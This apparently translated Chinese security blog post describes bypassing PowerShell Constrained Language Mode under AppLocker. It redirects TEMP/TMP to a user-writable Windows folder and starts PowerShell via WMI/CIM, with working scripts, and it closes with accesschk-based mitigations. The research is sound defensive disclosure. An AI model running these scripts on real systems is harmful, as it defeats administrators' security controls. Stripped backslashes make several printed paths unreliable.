一、前言
我曾深入分析过AppLocker,想从中找到绕过PowerShell约束语言模式(Constrained Language Mode,CLM)的方法,本文介绍了我在该过程中发现的一种技术。我已将该问题反馈至微软,但对方并不想为此提供服务方案,不认为该问题满足解决标准。
二、问题背景
我在观察PowerShell启动的事件日志时发现了这种方法,我注意到PowerShell在启动时总会触发两个警告,声称程序无法执行:
该警告涉及到一个.PSM1
文件以及一个.PS1
文件,这些文件名随机生成,满足如下模式:
__PSSCRIPTPOLICYTEST_<8个随机字符>.<3个随机字符>.PS1
__PSSCRIPTPOLICYTEST_<8个随机字符>.<3个随机字符>.PSM1
当我们观察警告日志,可以注意到系统尝试在用户的%temp%
目录中执行这些文件,当然AppLocker会限制这种行为,除非我们主动定义例外才能放行。
我捕捉到了这些文件,以便分析文件内容。采用如下一个简单的PowerShell循环脚本即可捕捉这些文件:
while($true)
{
Copy-Item -Path $("$env:temp*.ps*") -Destination C:temp
}
文件内容如下所示(两个文件的内容一致):
略微思考如何绕过执行限制后,我想到了一种方法,那就是我们可以预先创建所有可能存在的.PS1
及.PSM1
文件,然后使用硬链接(hardlink)方法将其链接到允许执行的某个位置。然而这个过程会创建海量的文件,因此我很快就放弃了这种方法。随后我想到,也许PowerShell会从用户环境变量中读取临时目录的值,事实证明我的猜测非常正确。
三、绕过方法
由于我们可以修改注册表中HKCU\Environment
下%TEMP%
以及%TMP%
的值,因此我决定先尝试这个方法。操作起来非常简单,只需要打开注册表编辑器,修改这些值即可。在测试中,我使用的是默认的AppLocker规则,这些规则允许执行来自C:\Windows\*
目录下的脚本,因此我决定将%TEMP%
以及%TMP%
指向c:\windows\temp
,因为用户具备该目录的写权限。请注意,如果用户具备某个路径的写权限,而该路径中的脚本又可以执行,那么用户就可以将自己的PS1脚本放到该目录中,然后在完整语言模式(Full Language Mode)中执行该脚本。
修改注册表键值后,我打开了一个新的PowerShell窗口。令人惊讶的是,程序并没有使用新的环境变量值。
Google搜索一番后,我发现我们可以将Start-Process
与-UseNewEnvironment
参数搭配使用。这种方法适用于大多数进程,但遗憾的是PowerShell无法以这种方式启动,会快速弹出窗口然后关闭,因此我们又回到了问题的起点。
经过若干次实验后,我想到我们可以使用WMIC来启动进程,并且我们也可以在PowerShell中使用WMI命令。我决定试一下这种方法,结果的确行之有效,最终我构造的脚本如下所示:
$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:windowstemp"
$TMPBypassPath = "C:windowstemp"
Set-ItemProperty -Path 'hkcu:Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "powershell"
sleep 5
#Set it back
Set-ItemProperty -Path 'hkcu:Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:Environment' -Name Temp -Value $CurrTemp
上述代码中最为关键的是Invoke-WmiMethod -Class win32_process -Name create -ArgumentList “powershell”
这条命令。当该脚本从CLM模式中启动时,会启动具备完整语言模式的新的PowerShell窗口,整个运行过程如下图所示:
我发现这种方法非常酷,因此决定将其集成到我的PowerAL项目中的一个函数(PowerAppLocker)。
在函数编写过程中,我发现还有一种更好的方法,可以不修改用户的环境变量,这里应该感谢Matt Graeber撰写的精彩文章。
在那篇文章中,Matt Graeber介绍了如何从Win32_Process
类中启动一个进程,并且使用我们自定义的环境变量,而这正是我所需要的技术。
我编写的原始函数代码如下所示(该代码是PowerAL模块的一部分,大家可以访问Github页面获取完整代码):
#Path to Powershell
$CMDLine = "$PSHOMEpowershell.exe"
#Getting existing env vars
[String[]] $EnvVarsExceptTemp = Get-ChildItem Env:* -Exclude "TEMP","TMP"| % { "$($_.Name)=$($_.Value)" }
#Custom TEMP and TMP
$TEMPBypassPath = "Temp=C:windowstemp"
$TMPBypassPath = "TMP=C:windowstemp"
#Add the to the list of vars
$EnvVarsExceptTemp += $TEMPBypassPath
$EnvVarsExceptTemp += $TMPBypassPath
#Define the start params
$StartParamProperties = @{ EnvironmentVariables = $EnvVarsExceptTemp }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
#Start a new powershell using the new params
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $CMDLine
ProcessStartupInformation = $StartParams
}
四、缓解措施
如何避免攻击者利用这种方法?我们必须定义特定的脚本规则,禁止脚本从用户具备写权限的目录中运行。这意味着如果我们允许c:\windows\*
目录,那么需要排除掉其中用户可写的目录,如C:\windows\temp
或者C:\windows\tracing
。大家可以使用Accesschk
来获取用户具备写权限的所有目录列表,我也提供了一个批处理脚本,可以帮助大家发现可写的目录:
accesschk -w -s -q -u Users "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Users "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Users "C:Windows" >> windows.txt
accesschk -w -s -q -u Everyone "C:Windows" >> windows.txt
accesschk -w -s -q -u "Authenticated Users" "C:Windows" >> windows.txt
accesschk -w -s -q -u Interactive "C:Windows" >> windows.txt
整个过程就这么简单,欢迎大家给出意见及建议。